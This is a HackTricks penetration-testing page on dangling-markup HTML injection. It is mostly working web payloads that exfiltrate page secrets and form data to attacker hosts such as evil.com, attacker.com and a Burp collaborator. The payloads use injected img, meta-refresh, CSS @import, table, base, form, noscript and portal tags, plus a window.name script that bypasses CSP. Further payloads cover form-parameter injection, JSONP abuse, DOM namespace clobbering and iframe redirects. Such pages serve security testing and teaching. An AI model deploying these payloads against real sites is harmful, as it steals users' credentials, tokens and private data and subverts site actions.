hacktricks/pentesting-web/dangling-markup-html-scriptless-injection.md

# Dangling Markup - HTML scriptless injection

## Resume

This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](xss-cross-site-scripting/)but you can **inject some HTML tags**.\
It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution.

Several techniques commented here can be used to bypass some [**Content Security Policy**](content-security-policy-csp-bypass.md) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...).

## Main Applications

### Stealing clear text secrets

If you inject `<img src='http://evil.com/log.cgi?` when the page is loaded the victim will send you all the code between the injected `img` tag and the next quote inside the code. If a secret is somehow located in that chunk, you will steal i t(you can do the same thing using a double quote,take a look which could be more interesting to use).

If the `img` tag is forbidden (due to CSP for example) you can also use `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`

```
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```

Note that **Chrome blocks HTTP URLs** with "<" or "\n" in it, so you could try other protocol schemes like "ftp".

You can also abuse CSS `@import` (will send all the code until it find a ";")

```markup
<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;
```

You could also use **`<table`**:

```bash
<table background='//your-collaborator-id.burpcollaborator.net?'
```

You could also insert a `<base` tag. All the information will be sent until the quote is closed but it requires some user interaction (the user must click in some link, because the base tag will have changed the domain pointed by the link):

```markup
<base target='        <--- Injected
steal me'<b>test</b>
```

### Stealing forms

```markup
<base href='http://evil.com/'>
```

Then, the forms that send data to path (like `<form action='update_profile.php'>`) will send the data to the malicious domain.

### Stealing forms 2

Set a form header: `<form action='http://evil.com/log_steal'>` this will overwrite the next form header and all the data from the form will be sent to the attacker.

### Stealing forms 3

The button can change the URL where the information of the form is going to be sent with the attribute "formaction":

```markup
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```

An attacker can use this to steal the information.

### Stealing clear text secrets 2

Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field:

```markup
<input type='hidden' name='review_body' value="
```

and this input field will contain all the content between its double quote and the next double quote in the HTML. This attack mix the "_**Stealing clear text secrets**_" with "_**Stealing forms2**_".

You can do the same thing injecting a form and an `<option>` tag. All the data until a closed `</option>` is found will be sent:

```markup
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```

### Form parameter injection

You can change the path of a form and insert new values so an unexpected action will be performed:

```markup
<form action='/change_settings.php'>
<input type='hidden' name='invite_user' 
  value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```

### Stealing clear text secrets via noscript

`<noscript></noscript>` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)).

A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this:

```markup
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```

### Bypassing CSP with user interaction

From this [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) you can learn that even from the **most CSP restricted** environments you can still **exfiltrate data** with some **user interaction**. In this occasion we are going to use the payload:

```markup
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```

Note that you will ask the **victim** to **click on a link** that will **redirect** him to **payload** controlled by you. Also note that the **`target`** attribute inside the **`base`** tag will contain **HTML content** until the next single quote.\
This will make that the **value** of **`window.name`** if the link is clicked is going to be all that **HTML content**. Therefore, as you **control the page** where the victim is accessing by clicking the link, you can access that **`window.name`** and **exfiltrate** that data:

```markup
<script>
if(window.name) {
    new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```

### Misleading script workflow 1 - HTML namespace attack

Insert a new tag with and id inside the HTML that will overwrite the next one and with a value that will affect the flow of a script. In this example you are selecting with whom a information is going to be shared:

```markup
<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
  ...
  request.share_with = document.getElementById('share_with').value;
  ...
}
```

### Misleading script workflow 2 - Script namespace attack

Create variables inside javascript namespace by inserting HTML tags. Then, this variable will affect the flow of the application:

```markup
<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
  ...
  if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
    is_public = true;
  else
    is_public = false;
}

function submit_new_acls() {
  ...
  if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
  ...
}
```

### Abuse of JSONP

If you find a JSONP interface you could be able to call an arbitrary function with arbitrary data:

```markup
<script src='/editor/sharing.js'>:              ← Legitimate script
  function set_sharing(public) {
    if (public) request.access_mode = AM_PUBLIC;
      else request.access_mode = AM_PRIVATE;
    ...
  }

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
  set_sharing({ ... })
```

Or you can even try to execute some javascript:

```markup
<script src='/search?q=a&call=alert(1)'></script>
```

### Iframe abuse

Notice that a **child document can view and set location property for parent, even if cross-origin.** This means that you can make the client access any other page by loading inside an **iframe** some code like:

```markup
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```

This can be mitigated with something like: _**sandbox=’ allow-scripts allow-top-navigation’**_

### \<meta abuse

You could use **`meta http-equiv`** to perform **several actions** like setting a Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` or performing a redirect (in 5s in this case): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`

This can be **avoided** with a **CSP** regarding **http-equiv** ( `Content-Security-Policy: default-src 'self';`, or `Content-Security-Policy: http-equiv 'self';`)

### New \<portal HTML tag

You can find a very **interesting research** on exploitable vulnerabilities of the \<portal tag [here](https://research.securitum.com/security-analysis-of-portal-element/).\
At the moment of this writing you need to enable the portal tag on Chrome in `chrome://flags/#enable-portals` or it won't work.

```markup
<portal src='https://attacker-server?
```

### HTML Leaks

Not all the ways to leak connectivity in HTML will be useful for Dangling Markup, but sometimes it could help. Check them here: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)

## Char-by-char Leaks

You can find techniques like **CSS injection or Lazy Load Images** explained in this post to **leak secrets from a HTML without JS execution char by char**:

{% content-ref url="dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/" %}
[html-injection-char-by-char-exfiltration](dangling-markup-html-scriptless-injection/html-injection-char-by-char-exfiltration/)
{% endcontent-ref %}

## Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

## References

All the techniques presented here and more can view reviewed with more details in:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

Another HTML tags that can be abused can be find here:

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

More info:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}